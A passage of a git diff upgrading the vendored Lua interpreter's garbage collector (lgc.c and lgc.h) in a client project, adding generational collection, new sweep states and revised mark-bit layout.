first non-dead survival object */ + GCObject *dummy; /* dummy out parameter to 'sweepgen' */ + lua_assert(g->gcstate == GCSpropagate); + if (g->firstold1) { /* are there regular OLD1 objects? */ + markold(g, g->firstold1, g->reallyold); /* mark them */ + g->firstold1 = NULL; /* no more OLD1 objects (for now) */ + } + markold(g, g->finobj, g->finobjrold); + markold(g, g->tobefnz, NULL); + atomic(L); + + /* sweep nursery and get a pointer to its last live element */ + g->gcstate = GCSswpallgc; + psurvival = sweepgen(L, g, &g->allgc, g->survival, &g->firstold1); + /* sweep 'survival' */ + sweepgen(L, g, psurvival, g->old1, &g->firstold1); + g->reallyold = g->old1; + g->old1 = *psurvival; /* 'survival' survivals are old now */ + g->survival = g->allgc; /* all news are survivals */ + + /* repeat for 'finobj' lists */ + dummy = NULL; /* no 'firstold1' optimization for 'finobj' lists */ + psurvival = sweepgen(L, g, &g->finobj, g->finobjsur, &dummy); + /* sweep 'survival' */ + sweepgen(L, g, psurvival, g->finobjold1, &dummy); + g->finobjrold = g->finobjold1; + g->finobjold1 = *psurvival; /* 'survival' survivals are old now */ + g->finobjsur = g->finobj; /* all news are survivals */ + + sweepgen(L, g, &g->tobefnz, NULL, &dummy); + finishgencycle(L, g); +} + + +/* +** Clears all gray lists, sweeps objects, and prepare sublists to enter +** generational mode. The sweeps remove dead objects and turn all +** surviving objects to old. Threads go back to 'grayagain'; everything +** else is turned black (not in any gray list). +*/ +static void atomic2gen(lua_State *L, global_State *g) { + cleargraylists(g); + /* sweep all elements making them old */ + g->gcstate = GCSswpallgc; + sweep2old(L, &g->allgc); + /* everything alive now is old */ + g->reallyold = g->old1 = g->survival = g->allgc; + g->firstold1 = NULL; /* there are no OLD1 objects anywhere */ + + /* repeat for 'finobj' lists */ + sweep2old(L, &g->finobj); + g->finobjrold = g->finobjold1 = g->finobjsur = g->finobj; + + sweep2old(L, &g->tobefnz); + + g->gckind = KGC_GEN; + g->lastatomic = 0; + g->GCestimate = gettotalbytes(g); /* base for memory control */ + finishgencycle(L, g); +} + + +/* +** Set debt for the next minor collection, which will happen when +** memory grows 'genminormul'%. +*/ +static void setminordebt(global_State *g) { + luaE_setdebt(g, -(cast(l_mem, (gettotalbytes(g) / 100)) * g->genminormul)); +} + + +/* +** Enter generational mode. Must go until the end of an atomic cycle +** to ensure that all objects are correctly marked and weak tables +** are cleared. Then, turn all objects into old and finishes the +** collection. +*/ +static lu_mem entergen(lua_State *L, global_State *g) { + lu_mem numobjs; + luaC_runtilstate(L, bitmask(GCSpause)); /* prepare to start a new cycle */ + luaC_runtilstate(L, bitmask(GCSpropagate)); /* start new cycle */ + numobjs = atomic(L); /* propagates all and then do the atomic stuff */ + atomic2gen(L, g); + setminordebt(g); /* set debt assuming next cycle will be minor */ + return numobjs; +} + + +/* +** Enter incremental mode. Turn all objects white, make all +** intermediate lists point to NULL (to avoid invalid pointers), +** and go to the pause state. +*/ +static void enterinc(global_State *g) { + whitelist(g, g->allgc); + g->reallyold = g->old1 = g->survival = NULL; + whitelist(g, g->finobj); + whitelist(g, g->tobefnz); + g->finobjrold = g->finobjold1 = g->finobjsur = NULL; + g->gcstate = GCSpause; + g->gckind = KGC_INC; + g->lastatomic = 0; +} + + +/* +** Change collector mode to 'newmode'. +*/ +void luaC_changemode(lua_State *L, int newmode) { + global_State *g = G(L); + if (newmode != g->gckind) { + if (newmode == KGC_GEN) /* entering generational mode? */ + entergen(L, g); + else + enterinc(g); /* entering incremental mode */ + } + g->lastatomic = 0; +} + + +/* +** Does a full collection in generational mode. +*/ +static lu_mem fullgen(lua_State *L, global_State *g) { + enterinc(g); + return entergen(L, g); +} + + +/* +** Does a major collection after last collection was a "bad collection". +** +** When the program is building a big structure, it allocates lots of +** memory but generates very little garbage. In those scenarios, +** the generational mode just wastes time doing small collections, and +** major collections are frequently what we call a "bad collection", a +** collection that frees too few objects. To avoid the cost of switching +** between generational mode and the incremental mode needed for full +** (major) collections, the collector tries to stay in incremental mode +** after a bad collection, and to switch back to generational mode only +** after a "good" collection (one that traverses less than 9/8 objects +** of the previous one). +** The collector must choose whether to stay in incremental mode or to +** switch back to generational mode before sweeping. At this point, it +** does not know the real memory in use, so it cannot use memory to +** decide whether to return to generational mode. Instead, it uses the +** number of objects traversed (returned by 'atomic') as a proxy. The +** field 'g->lastatomic' keeps this count from the last collection. +** ('g->lastatomic != 0' also means that the last collection was bad.) +*/ +static void stepgenfull(lua_State *L, global_State *g) { + lu_mem newatomic; /* count of traversed objects */ + lu_mem lastatomic = g->lastatomic; /* count from last collection */ + if (g->gckind == KGC_GEN) /* still in generational mode? */ + enterinc(g); /* enter incremental mode */ + luaC_runtilstate(L, bitmask(GCSpropagate)); /* start new cycle */ + newatomic = atomic(L); /* mark everybody */ + if (newatomic < lastatomic + (lastatomic >> 3)) { /* good collection? */ + atomic2gen(L, g); /* return to generational mode */ + setminordebt(g); + } else { /* another bad collection; stay in incremental mode */ + g->GCestimate = gettotalbytes(g); /* first estimate */ + entersweep(L); + luaC_runtilstate(L, bitmask(GCSpause)); /* finish collection */ + setpause(g); + g->lastatomic = newatomic; + } +} + + +/* +** Does a generational "step". +** Usually, this means doing a minor collection and setting the debt to +** make another collection when memory grows 'genminormul'% larger. +** +** However, there are exceptions. If memory grows 'genmajormul'% +** larger than it was at the end of the last major collection (kept +** in 'g->GCestimate'), the function does a major collection. At the +** end, it checks whether the major collection was able to free a +** decent amount of memory (at least half the growth in memory since +** previous major collection). If so, the collector keeps its state, +** and the next collection will probably be minor again. Otherwise, +** we have what we call a "bad collection". In that case, set the field +** 'g->lastatomic' to signal that fact, so that the next collection will +** go to 'stepgenfull'. +** +** 'GCdebt <= 0' means an explicit call to GC step with "size" zero; +** in that case, do a minor collection. +*/ +static void genstep(lua_State *L, global_State *g) { + if (g->lastatomic != 0) /* last collection was a bad one? */ + stepgenfull(L, g); /* do a full step */ + else { + lu_mem majorbase = g->GCestimate; /* memory after last major collection */ + lu_mem majorinc = (majorbase / 100) * getgcparam(g->genmajormul); + if (g->GCdebt > 0 && gettotalbytes(g) > majorbase + majorinc) { + lu_mem numobjs = fullgen(L, g); /* do a major collection */ + if (gettotalbytes(g) < majorbase + (majorinc / 2)) { + /* collected at least half of memory growth since last major + collection; keep doing minor collections. */ + lua_assert(g->lastatomic == 0); + } else { /* bad collection */ + g->lastatomic = numobjs; /* signal that last collection was bad */ + setpause(g); /* do a long wait for next (major) collection */ + } + } else { /* regular case; do a minor collection */ + youngcollection(L, g); + setminordebt(g); + g->GCestimate = majorbase; /* preserve base value */ + } + } + lua_assert(isdecGCmodegen(g)); +} + +/* }====================================================== */ + + /* ** {====================================================== ** GC control @@ -916,198 +1490,171 @@ void luaC_checkfinalizer(lua_State *L, GCObject *o, Table *mt) { /* -** set a reasonable "time" to wait before starting a new GC cycle; -** cycle will start when memory use hits threshold +** Enter first sweep phase. +** The call to 'sweeptolive' makes the pointer point to an object +** inside the list (instead of to the header), so that the real sweep do +** not need to skip objects created between "now" and the start of the +** real sweep. */ -static void setpause(global_State *g, l_mem estimate) { - l_mem debt, threshold; - estimate = estimate / PAUSEADJ; /* adjust 'estimate' */ - threshold = (g->gcpause < MAX_LMEM / estimate) /* overflow? */ - ? estimate * g->gcpause /* no overflow */ - : MAX_LMEM; /* overflow; truncate to maximum */ - debt = -cast(l_mem, threshold - gettotalbytes(g)); - luaE_setdebt(g, debt); -} - - -#define sweepphases \ - (bitmask(GCSsweepstring) | bitmask(GCSsweepudata) | bitmask(GCSsweep)) - - -/* -** enter first sweep phase (strings) and prepare pointers for other -** sweep phases. The calls to 'sweeptolive' make pointers point to an -** object inside the list (instead of to the header), so that the real -** sweep do not need to skip objects created between "now" and the start -** of the real sweep. -** Returns how many objects it swept. -*/ -static int entersweep(lua_State *L) { +static void entersweep(lua_State *L) { global_State *g = G(L); - int n = 0; - g->gcstate = GCSsweepstring; - lua_assert(g->sweepgc == NULL && g->sweepfin == NULL); - /* prepare to sweep strings, finalizable objects, and regular objects */ - g->sweepstrgc = 0; - g->sweepfin = sweeptolive(L, &g->finobj, &n); - g->sweepgc = sweeptolive(L, &g->allgc, &n); - return n; + g->gcstate = GCSswpallgc; + lua_assert(g->sweepgc == NULL); + g->sweepgc = sweeptolive(L, &g->allgc); } /* -** change GC mode +** Delete all objects in list 'p' until (but not including) object +** 'limit'. */ -void luaC_changemode(lua_State *L, int mode) { - global_State *g = G(L); - if (mode == g->gckind) return; /* nothing to change */ - if (mode == KGC_GEN) { /* change to generational mode */ - /* make sure gray lists are consistent */ - luaC_runtilstate(L, bitmask(GCSpropagate)); - g->GCestimate = gettotalbytes(g); - g->gckind = KGC_GEN; - } else { /* change to incremental mode */ - /* sweep all objects to turn them back to white - (as white has not changed, nothing extra will be collected) */ - g->gckind = KGC_NORMAL; - entersweep(L); - luaC_runtilstate(L, ~sweepphases); +static void deletelist(lua_State *L, GCObject *p, GCObject *limit) { + while (p != limit) { + GCObject *next = p->next; + freeobj(L, p); + p = next; } } /* -** call all pending finalizers +** Call all finalizers of the objects in the given Lua state, and +** then free all objects, except for the main thread. */ -static void callallpendingfinalizers(lua_State *L, int propagateerrors) { - global_State *g = G(L); - while (g->tobefnz) { - resetoldbit(g->tobefnz); - GCTM(L, propagateerrors); - } -} - - void luaC_freeallobjects(lua_State *L) { global_State *g = G(L); - int i; - separatetobefnz(L, 1); /* separate all objects with finalizers */ + g->gcstp = GCSTPCLS; /* no extra finalizers after here */ + luaC_changemode(L, KGC_INC); + separatetobefnz(g, 1); /* separate all objects with finalizers */ lua_assert(g->finobj == NULL); - callallpendingfinalizers(L, 0); - g->currentwhite = WHITEBITS; /* this "white" makes all objects look dead */ - g->gckind = KGC_NORMAL; - sweepwholelist(L, &g->finobj); /* finalizers can create objs. in 'finobj' */ - sweepwholelist(L, &g->allgc); - for (i = 0; i < g->strt.size; i++) /* free all string lists */ - sweepwholelist(L, &g->strt.hash[i]); + callallpendingfinalizers(L); + deletelist(L, g->allgc, obj2gco(g->mainthread)); + lua_assert(g->finobj == NULL); /* no new finalizers */ + deletelist(L, g->fixedgc, NULL); /* collect fixed objects */ lua_assert(g->strt.nuse == 0); } -static l_mem atomic(lua_State *L) { +static lu_mem atomic(lua_State *L) { global_State *g = G(L); - l_mem work = -cast(l_mem, g->GCmemtrav); /* start counting work */ + lu_mem work = 0; GCObject *origweak, *origall; - lua_assert(!iswhite(obj2gco(g->mainthread))); + GCObject *grayagain = g->grayagain; /* save original list */ + g->grayagain = NULL; + lua_assert(g->ephemeron == NULL && g->weak == NULL); + lua_assert(!iswhite(g->mainthread)); + g->gcstate = GCSatomic; markobject(g, L); /* mark running thread */ /* registry and global metatables may be changed by API */ markvalue(g, &g->l_registry); - markmt(g); /* mark basic metatables */ + markmt(g); /* mark global metatables */ + work += propagateall(g); /* empties 'gray' list */ /* remark occasional upvalues of (maybe) dead threads */ - remarkupvals(g); - propagateall(g); /* propagate changes */ - work += g->GCmemtrav; /* stop counting (do not (re)count grays) */ - /* traverse objects caught by write barrier and by 'remarkupvals' */ - retraversegrays(g); - work -= g->GCmemtrav; /* restart counting */ + work += remarkupvals(g); + work += propagateall(g); /* propagate changes */ + g->gray = grayagain; + work += propagateall(g); /* traverse 'grayagain' list */ convergeephemerons(g); /* at this point, all strongly accessible objects are marked. */ - /* clear values from weak tables, before checking finalizers */ - clearvalues(g, g->weak, NULL); - clearvalues(g, g->allweak, NULL); + /* Clear values from weak tables, before checking finalizers */ + clearbyvalues(g, g->weak, NULL); + clearbyvalues(g, g->allweak, NULL); origweak = g->weak; origall = g->allweak; - work += g->GCmemtrav; /* stop counting (objects being finalized) */ - separatetobefnz(L, 0); /* separate objects to be finalized */ - markbeingfnz(g); /* mark objects that will be finalized */ - propagateall(g); /* remark, to propagate `preserveness' */ - work -= g->GCmemtrav; /* restart counting */ + separatetobefnz(g, 0); /* separate objects to be finalized */ + work += markbeingfnz(g); /* mark objects that will be finalized */ + work += propagateall(g); /* remark, to propagate 'resurrection' */ convergeephemerons(g); /* at this point, all resurrected objects are marked. */ /* remove dead objects from weak tables */ - clearkeys(g, g->ephemeron, NULL); /* clear keys from all ephemeron tables */ - clearkeys(g, g->allweak, NULL); /* clear keys from all allweak tables */ + clearbykeys(g, g->ephemeron); /* clear keys from all ephemeron tables */ + clearbykeys(g, g->allweak); /* clear keys from all 'allweak' tables */ /* clear values from resurrected weak tables */ - clearvalues(g, g->weak, origweak); - clearvalues(g, g->allweak, origall); + clearbyvalues(g, g->weak, origweak); + clearbyvalues(g, g->allweak, origall); + luaS_clearcache(g); g->currentwhite = cast_byte(otherwhite(g)); /* flip current white */ - work += g->GCmemtrav; /* complete counting */ - return work; /* estimate of memory marked by 'atomic' */ + lua_assert(g->gray == NULL); + return work; /* estimate of slots marked by 'atomic' */ +} + + +static int sweepstep(lua_State *L, global_State *g, + int nextstate, GCObject **nextlist) { + if (g->sweepgc) { + l_mem olddebt = g->GCdebt; + int count; + g->sweepgc = sweeplist(L, g->sweepgc, GCSWEEPMAX, &count); + g->GCestimate += g->GCdebt - olddebt; /* update estimate */ + return count; + } else { /* enter next state */ + g->gcstate = nextstate; + g->sweepgc = nextlist; + return 0; /* no work done */ + } } static lu_mem singlestep(lua_State *L) { global_State *g = G(L); + lu_mem work; + lua_assert(!g->gcstopem); /* collector is not reentrant */ + g->gcstopem = 1; /* no emergency collections while collecting */ switch (g->gcstate) { case GCSpause: { - /* start to count memory traversed */ - g->GCmemtrav = g->strt.size * sizeof(GCObject *); - lua_assert(!isgenerational(g)); restartcollection(g); g->gcstate = GCSpropagate; - return g->GCmemtrav; + work = 1; + break; } case GCSpropagate: { - if (g->gray) { - lu_mem oldtrav = g->GCmemtrav; - propagatemark(g); - return g->GCmemtrav - oldtrav; /* memory traversed in this step */ - } else { /* no more `gray' objects */ - lu_mem work; - int sw; - g->gcstate = GCSatomic; /* finish mark phase */ - g->GCestimate = g->GCmemtrav; /* save what was counted */; - work = atomic(L); /* add what was traversed by 'atomic' */ - g->GCestimate += work; /* estimate of total memory traversed */ - sw = entersweep(L); - return work + sw * GCSWEEPCOST; - } + if (g->gray == NULL) { /* no more gray objects? */ + g->gcstate = GCSenteratomic; /* finish propagate phase */ + work = 0; + } else + work = propagatemark(g); /* traverse one gray object */ + break; } - case GCSsweepstring: { - int i; - for (i = 0; i < GCSWEEPMAX && g->sweepstrgc + i < g->strt.size; i++) - sweepwholelist(L, &g->strt.hash[g->sweepstrgc + i]); - g->sweepstrgc += i; - if (g->sweepstrgc >= g->strt.size) /* no more strings to sweep? */ - g->gcstate = GCSsweepudata; - return i * GCSWEEPCOST; + case GCSenteratomic: { + work = atomic(L); /* work is what was traversed by 'atomic' */ + entersweep(L); + g->GCestimate = gettotalbytes(g); /* first estimate */ + break; } - case GCSsweepudata: { - if (g->sweepfin) { - g->sweepfin = sweeplist(L, g->sweepfin, GCSWEEPMAX); - return GCSWEEPMAX * GCSWEEPCOST; - } else { - g->gcstate = GCSsweep; - return 0; - } + case GCSswpallgc: { /* sweep "regular" objects */ + work = sweepstep(L, g, GCSswpfinobj, &g->finobj); + break; } - case GCSsweep: { - if (g->sweepgc) { - g->sweepgc = sweeplist(L, g->sweepgc, GCSWEEPMAX); - return GCSWEEPMAX * GCSWEEPCOST; - } else { - /* sweep main thread */ - GCObject *mt = obj2gco(g->mainthread); - sweeplist(L, &mt, 1); - checkSizes(L); + case GCSswpfinobj: { /* sweep objects with finalizers */ + work = sweepstep(L, g, GCSswptobefnz, &g->tobefnz); + break; + } + case GCSswptobefnz: { /* sweep objects to be finalized */ + work = sweepstep(L, g, GCSswpend, NULL); + break; + } + case GCSswpend: { /* finish sweeps */ + checkSizes(L, g); + g->gcstate = GCScallfin; + work = 0; + break; + } + case GCScallfin: { /* call remaining finalizers */ + if (g->tobefnz && !g->gcemergency) { + g->gcstopem = 0; /* ok collections during finalizers */ + work = runafewfinalizers(L, GCFINMAX) * GCFINALIZECOST; + } else { /* emergency mode or no more finalizers */ g->gcstate = GCSpause; /* finish collection */ - return GCSWEEPCOST; + work = 0; } + break; } default: lua_assert(0); return 0; } + g->gcstopem = 0; + return work; } @@ -1122,104 +1669,86 @@ void luaC_runtilstate(lua_State *L, int statesmask) { } -static void generationalcollection(lua_State *L) { - global_State *g = G(L); - lua_assert(g->gcstate == GCSpropagate); - if (g->GCestimate == 0) { /* signal for another major collection? */ - luaC_fullgc(L, 0); /* perform a full regular collection */ - g->GCestimate = gettotalbytes(g); /* update control */ - } else { - lu_mem estimate = g->GCestimate; - luaC_runtilstate(L, bitmask(GCSpause)); /* run complete (minor) cycle */ - g->gcstate = GCSpropagate; /* skip restart */ - if (gettotalbytes(g) > (estimate / 100) * g->gcmajorinc) - g->GCestimate = 0; /* signal for a major collection */ - else - g->GCestimate = estimate; /* keep estimate from last major coll. */ - } - setpause(g, gettotalbytes(g)); - lua_assert(g->gcstate == GCSpropagate); -} - - -static void incstep(lua_State *L) { - global_State *g = G(L); - l_mem debt = g->GCdebt; - int stepmul = g->gcstepmul; - if (stepmul < 40) stepmul = 40; /* avoid ridiculous low values (and 0) */ - /* convert debt from Kb to 'work units' (avoid zero debt and overflows) */ - debt = (debt / STEPMULADJ) + 1; - debt = (debt < MAX_LMEM / stepmul) ? debt * stepmul : MAX_LMEM; - do { /* always perform at least one single step */ - lu_mem work = singlestep(L); /* do some work */ +/* +** Performs a basic incremental step. The debt and step size are +** converted from bytes to "units of work"; then the function loops +** running single steps until adding that many units of work or +** finishing a cycle (pause state). Finally, it sets the debt that +** controls when next step will be performed. +*/ +static void incstep(lua_State *L, global_State *g) { + int stepmul = (getgcparam(g->gcstepmul) | 1); /* avoid division by 0 */ + l_mem debt = (g->GCdebt / WORK2MEM) * stepmul; + l_mem stepsize = (g->gcstepsize <= log2maxs(l_mem)) + ? ((cast(l_mem, 1) << g->gcstepsize) / WORK2MEM) * stepmul + : MAX_LMEM; /* overflow; keep maximum value */ + do { /* repeat until pause or enough "credit" (negative debt) */ + lu_mem work = singlestep(L); /* perform one single step */ debt -= work; - } while (debt > -GCSTEPSIZE && g->gcstate != GCSpause); + } while (debt > -stepsize && g->gcstate != GCSpause); if (g->gcstate == GCSpause) - setpause(g, g->GCestimate); /* pause until next cycle */ + setpause(g); /* pause until next cycle */ else { - debt = (debt / stepmul) * STEPMULADJ; /* convert 'work units' to Kb */ + debt = (debt / stepmul) * WORK2MEM; /* convert 'work units' to bytes */ luaE_setdebt(g, debt); } } - /* -** performs a basic GC step -*/ -void luaC_forcestep(lua_State *L) { - global_State *g = G(L); - int i; - if (isgenerational(g)) generationalcollection(L); - else incstep(L); - /* run a few finalizers (or all of them at the end of a collect cycle) */ - for (i = 0; g->tobefnz && (i < GCFINALIZENUM || g->gcstate == GCSpause); i++) - GCTM(L, 1); /* call one finalizer */ -} - - -/* -** performs a basic GC step only if collector is running +** Performs a basic GC step if collector is running. (If collector is +** not running, set a reasonable debt to avoid it being called at +** every single check.) */ void luaC_step(lua_State *L) { global_State *g = G(L); - if (g->gcrunning) luaC_forcestep(L); - else luaE_setdebt(g, -GCSTEPSIZE); /* avoid being called too often */ + if (!gcrunning(g)) /* not running? */ + luaE_setdebt(g, -2000); + else { + if (isdecGCmodegen(g)) + genstep(L, g); + else + incstep(L, g); + } } +/* +** Perform a full collection in incremental mode. +** Before running the collection, check 'keepinvariant'; if it is true, +** there may be some objects marked as black, so the collector has +** to sweep all objects to turn them back to white (as white has not +** changed, nothing will be collected). +*/ +static void fullinc(lua_State *L, global_State *g) { + if (keepinvariant(g)) /* black objects? */ + entersweep(L); /* sweep everything to turn them back to white */ + /* finish any pending sweep phase to start a new cycle */ + luaC_runtilstate(L, bitmask(GCSpause)); + luaC_runtilstate(L, bitmask(GCSpropagate)); /* start new cycle */ + g->gcstate = GCSenteratomic; /* go straight to atomic phase */ + luaC_runtilstate(L, bitmask(GCScallfin)); /* run up to finalizers */ + /* estimate must be correct after a full GC cycle */ + lua_assert(g->GCestimate == gettotalbytes(g)); + luaC_runtilstate(L, bitmask(GCSpause)); /* finish collection */ + setpause(g); +} + /* -** performs a full GC cycle; if "isemergency", does not call -** finalizers (which could change stack positions) +** Performs a full GC cycle; if 'isemergency', set a flag to avoid +** some operations which could change the interpreter state in some +** unexpected ways (running finalizers and shrinking some structures). */ void luaC_fullgc(lua_State *L, int isemergency) { global_State *g = G(L); - int origkind = g->gckind; - lua_assert(origkind != KGC_EMERGENCY); - if (isemergency) /* do not run finalizers during emergency GC */ - g->gckind = KGC_EMERGENCY; - else { - g->gckind = KGC_NORMAL; - callallpendingfinalizers(L, 1); - } - if (keepinvariant(g)) { /* may there be some black objects? */ - /* must sweep all objects to turn them back to white - (as white has not changed, nothing will be collected) */ - entersweep(L); - } - /* finish any pending sweep phase to start a new cycle */ - luaC_runtilstate(L, bitmask(GCSpause)); - luaC_runtilstate(L, ~bitmask(GCSpause)); /* start new collection */ - luaC_runtilstate(L, bitmask(GCSpause)); /* run entire collection */ - if (origkind == KGC_GEN) { /* generational mode? */ - /* generational mode must be kept in propagate phase */ - luaC_runtilstate(L, bitmask(GCSpropagate)); - } - g->gckind = origkind; - setpause(g, gettotalbytes(g)); - if (!isemergency) /* do not run finalizers during emergency GC */ - callallpendingfinalizers(L, 1); + lua_assert(!g->gcemergency); + g->gcemergency = isemergency; /* set flag */ + if (g->gckind == KGC_INC) + fullinc(L, g); + else + fullgen(L, g); + g->gcemergency = 0; } /* }====================================================== */ diff --git a/client/deps/liblua/lgc.h b/client/deps/liblua/lgc.h index c3bb35c14..780c39214 100644 --- a/client/deps/liblua/lgc.h +++ b/client/deps/liblua/lgc.h @@ -1,5 +1,5 @@ /* -** $Id: lgc.h,v 2.58 2012/09/11 12:53:08 roberto Exp $ +** $Id: lgc.h $ ** Garbage Collector ** See Copyright Notice in lua.h */ @@ -12,146 +12,191 @@ #include "lstate.h" /* -** Collectable objects may have one of three colors: white, which -** means the object is not marked; gray, which means the -** object is marked, but its references may be not marked; and -** black, which means that the object and all its references are marked. -** The main invariant of the garbage collector, while marking objects, -** is that a black object can never point to a white one. Moreover, -** any gray object must be in a "gray list" (gray, grayagain, weak, -** allweak, ephemeron) so that it can be visited again before finishing -** the collection cycle. These lists have no meaning when the invariant -** is not being enforced (e.g., sweep phase). +** Collectable objects may have one of three colors: white, which means +** the object is not marked; gray, which means the object is marked, but +** its references may be not marked; and black, which means that the +** object and all its references are marked. The main invariant of the +** garbage collector, while marking objects, is that a black object can +** never point to a white one. Moreover, any gray object must be in a +** "gray list" (gray, grayagain, weak, allweak, ephemeron) so that it +** can be visited again before finishing the collection cycle. (Open +** upvalues are an exception to this rule.) These lists have no meaning +** when the invariant is not being enforced (e.g., sweep phase). */ - -/* how much to allocate before next GC step */ -#if !defined(GCSTEPSIZE) -/* ~100 small strings */ -#define GCSTEPSIZE (cast_int(100 * sizeof(TString))) -#endif - - /* ** Possible states of the Garbage Collector */ -#define GCSpropagate 0 -#define GCSatomic 1 -#define GCSsweepstring 2 -#define GCSsweepudata 3 -#define GCSsweep 4 -#define GCSpause 5 +#define GCSpropagate 0 +#define GCSenteratomic 1 +#define GCSatomic 2 +#define GCSswpallgc 3 +#define GCSswpfinobj 4 +#define GCSswptobefnz 5 +#define GCSswpend 6 +#define GCScallfin 7 +#define GCSpause 8 #define issweepphase(g) \ - (GCSsweepstring <= (g)->gcstate && (g)->gcstate <= GCSsweep) + (GCSswpallgc <= (g)->gcstate && (g)->gcstate <= GCSswpend) -#define isgenerational(g) ((g)->gckind == KGC_GEN) /* -** macros to tell when main invariant (white objects cannot point to black -** ones) must be kept. During a non-generational collection, the sweep +** macro to tell when main invariant (white objects cannot point to black +** ones) must be kept. During a collection, the sweep ** phase may break the invariant, as objects turned white may point to ** still-black objects. The invariant is restored when sweep ends and -** all objects are white again. During a generational collection, the -** invariant must be kept all times. +** all objects are white again. */ -#define keepinvariant(g) (isgenerational(g) || g->gcstate <= GCSatomic) - - -/* -** Outside the collector, the state in generational mode is kept in -** 'propagate', so 'keepinvariant' is always true. -*/ -#define keepinvariantout(g) \ - check_exp(g->gcstate == GCSpropagate || !isgenerational(g), \ - g->gcstate <= GCSatomic) +#define keepinvariant(g) ((g)->gcstate <= GCSatomic) /* ** some useful bit tricks */ -#define resetbits(x,m) ((x) &= cast(lu_byte, ~(m))) -#define setbits(x,m) ((x) |= (m)) -#define testbits(x,m) ((x) & (m)) -#define bitmask(b) (1<<(b)) -#define bit2mask(b1,b2) (bitmask(b1) | bitmask(b2)) -#define l_setbit(x,b) setbits(x, bitmask(b)) -#define resetbit(x,b) resetbits(x, bitmask(b)) -#define testbit(x,b) testbits(x, bitmask(b)) +#define resetbits(x,m) ((x) &= cast_byte(~(m))) +#define setbits(x,m) ((x) |= (m)) +#define testbits(x,m) ((x) & (m)) +#define bitmask(b) (1<<(b)) +#define bit2mask(b1,b2) (bitmask(b1) | bitmask(b2)) +#define l_setbit(x,b) setbits(x, bitmask(b)) +#define resetbit(x,b) resetbits(x, bitmask(b)) +#define testbit(x,b) testbits(x, bitmask(b)) -/* Layout for bit use in `marked' field: */ -#define WHITE0BIT 0 /* object is white (type 0) */ -#define WHITE1BIT 1 /* object is white (type 1) */ -#define BLACKBIT 2 /* object is black */ -#define FINALIZEDBIT 3 /* object has been separated for finalization */ -#define SEPARATED 4 /* object is in 'finobj' list or in 'tobefnz' */ -#define FIXEDBIT 5 /* object is fixed (should not be collected) */ -#define OLDBIT 6 /* object is old (only in generational mode) */ -/* bit 7 is currently used by tests (luaL_checkmemory) */ +/* +** Layout for bit use in 'marked' field. First three bits are +** used for object "age" in generational mode. Last bit is used +** by tests. +*/ +#define WHITE0BIT 3 /* object is white (type 0) */ +#define WHITE1BIT 4 /* object is white (type 1) */ +#define BLACKBIT 5 /* object is black */ +#define FINALIZEDBIT 6 /* object has been marked for finalization */ -#define WHITEBITS bit2mask(WHITE0BIT, WHITE1BIT) +#define TESTBIT 7 -#define iswhite(x) testbits((x)->gch.marked, WHITEBITS) -#define isblack(x) testbit((x)->gch.marked, BLACKBIT) + +#define WHITEBITS bit2mask(WHITE0BIT, WHITE1BIT) + + +#define iswhite(x) testbits((x)->marked, WHITEBITS) +#define isblack(x) testbit((x)->marked, BLACKBIT) #define isgray(x) /* neither white nor black */ \ - (!testbits((x)->gch.marked, WHITEBITS | bitmask(BLACKBIT))) + (!testbits((x)->marked, WHITEBITS | bitmask(BLACKBIT))) -#define isold(x) testbit((x)->gch.marked, OLDBIT) +#define tofinalize(x) testbit((x)->marked, FINALIZEDBIT) -/* MOVE OLD rule: whenever an object is moved to the beginning of - a GC list, its old bit must be cleared */ -#define resetoldbit(o) resetbit((o)->gch.marked, OLDBIT) +#define otherwhite(g) ((g)->currentwhite ^ WHITEBITS) +#define isdeadm(ow,m) ((m) & (ow)) +#define isdead(g,v) isdeadm(otherwhite(g), (v)->marked) -#define otherwhite(g) (g->currentwhite ^ WHITEBITS) -#define isdeadm(ow,m) (!(((m) ^ WHITEBITS) & (ow))) -#define isdead(g,v) isdeadm(otherwhite(g), (v)->gch.marked) +#define changewhite(x) ((x)->marked ^= WHITEBITS) +#define nw2black(x) \ + check_exp(!iswhite(x), l_setbit((x)->marked, BLACKBIT)) -#define changewhite(x) ((x)->gch.marked ^= WHITEBITS) -#define gray2black(x) l_setbit((x)->gch.marked, BLACKBIT) - -#define valiswhite(x) (iscollectable(x) && iswhite(gcvalue(x))) - -#define luaC_white(g) cast(lu_byte, (g)->currentwhite & WHITEBITS) +#define luaC_white(g) cast_byte((g)->currentwhite & WHITEBITS) -#define luaC_condGC(L,c) \ - {if (G(L)->GCdebt > 0) {c;}; condchangemem(L);} -#define luaC_checkGC(L) luaC_condGC(L, luaC_step(L);) +/* object age in generational mode */ +#define G_NEW 0 /* created in current cycle */ +#define G_SURVIVAL 1 /* created in previous cycle */ +#define G_OLD0 2 /* marked old by frw. barrier in this cycle */ +#define G_OLD1 3 /* first full cycle as old */ +#define G_OLD 4 /* really old object (not to be visited) */ +#define G_TOUCHED1 5 /* old object touched this cycle */ +#define G_TOUCHED2 6 /* old object touched in previous cycle */ + +#define AGEBITS 7 /* all age bits (111) */ + +#define getage(o) ((o)->marked & AGEBITS) +#define setage(o,a) ((o)->marked = cast_byte(((o)->marked & (~AGEBITS)) | a)) +#define isold(o) (getage(o) > G_SURVIVAL) + +#define changeage(o,f,t) \ + check_exp(getage(o) == (f), (o)->marked ^= ((f)^(t))) -#define luaC_barrier(L,p,v) { if (valiswhite(v) && isblack(obj2gco(p))) \ - luaC_barrier_(L,obj2gco(p),gcvalue(v)); } +/* Default Values for GC parameters */ +#define LUAI_GENMAJORMUL 100 +#define LUAI_GENMINORMUL 20 -#define luaC_barrierback(L,p,v) { if (valiswhite(v) && isblack(obj2gco(p))) \ - luaC_barrierback_(L,p); } +/* wait memory to double before starting new cycle */ +#define LUAI_GCPAUSE 200 -#define luaC_objbarrier(L,p,o) \ - { if (iswhite(obj2gco(o)) && isblack(obj2gco(p))) \ - luaC_barrier_(L,obj2gco(p),obj2gco(o)); } +/* +** some gc parameters are stored divided by 4 to allow a maximum value +** up to 1023 in a 'lu_byte'. +*/ +#define getgcparam(p) ((p) * 4) +#define setgcparam(p,v) ((p) = (v) / 4) -#define luaC_objbarrierback(L,p,o) \ - { if (iswhite(obj2gco(o)) && isblack(obj2gco(p))) luaC_barrierback_(L,p); } +#define LUAI_GCMUL 100 -#define luaC_barrierproto(L,p,c) \ - { if (isblack(obj2gco(p))) luaC_barrierproto_(L,p,c); } +/* how much to allocate before next GC step (log2) */ +#define LUAI_GCSTEPSIZE 13 /* 8 KB */ + +/* +** Check whether the declared GC mode is generational. While in +** generational mode, the collector can go temporarily to incremental +** mode to improve performance. 